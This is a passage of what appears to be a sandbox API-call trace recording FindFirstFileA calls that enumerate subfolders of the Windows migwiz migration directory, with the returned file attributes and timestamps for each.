cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.062] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-Bluetooth-Config\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.065] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-COM-ComPlus-Setup-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.068] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-COM-DTC-Setup-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f4d88c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f4d88c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.071] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-DHCPServerMigPlugin-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.074] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-DirectoryServices-ADAM-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.079] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-IasServer-MigPlugin\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.084] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-IE-ESC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.086] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-IIS-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8b9fe291, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8b9fe291, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.098] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-International-Core-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.102] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-MediaPlayer\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8bb7b054, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8bb7b054, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.105] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-MediaPlayer-DRM-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8bb08c33, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8bb08c33, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.107] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-msmq-messagingcoreservice\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.110] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-NDIS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.112] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-NetworkBridge\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.115] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-NetworkLoadBalancing-Core\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.117] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-OfflineFiles-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.120] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-PerformanceCounterInfrastructure-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f4d88c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f4d88c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.123] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-RasApi\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.123] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-RasConnectionManager\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f4d88c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f4d88c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.126] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-RasServer-MigPlugin\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8ba4a552, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8ba4a552, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.128] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-shmig-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8ba96812, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8ba96812, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.133] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-StorageMigration\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f4d88c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f4d88c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.136] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-Sxs\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8b98be70, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8b98be70, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.138] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-TapiSetup\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.140] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-TextServicesFramework-Migration-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.145] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-Unimodem-Config\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690074, dwReserved1=0x6e006f, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.148] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Microsoft-Windows-WMI-Core\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.155] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\dlmanifests\\Networking-MPSSVC-Svc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f2772c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f2772c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.166] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.175] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\PostMigRes\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154e, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.175] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\PostMigRes\\data\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f4d88c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f4d88c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.179] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\PostMigRes\\Web\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f4d88c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f4d88c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.180] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\PostMigRes\\Web\\base_images\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80f4d88c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80f4d88c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.188] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8bbed475, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8bbed475, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.198] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\microsoft-activedirectory-webservices\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.201] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\microsoft-international-core\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.205] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\microsoft-windows-audio-mmecore-other\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.208] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\Microsoft-Windows-GameUXMig\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.211] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\microsoft-windows-iis-rm\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8bc5f896, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8bc5f896, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.215] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\microsoft-windows-ndis\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.218] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\Microsoft-Windows-OfflineFiles-Core\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8bc135d5, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8bc135d5, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.220] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\microsoft-windows-shmig\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8bcabb56, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8bcabb56, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.222] FindFirstFileA (in: 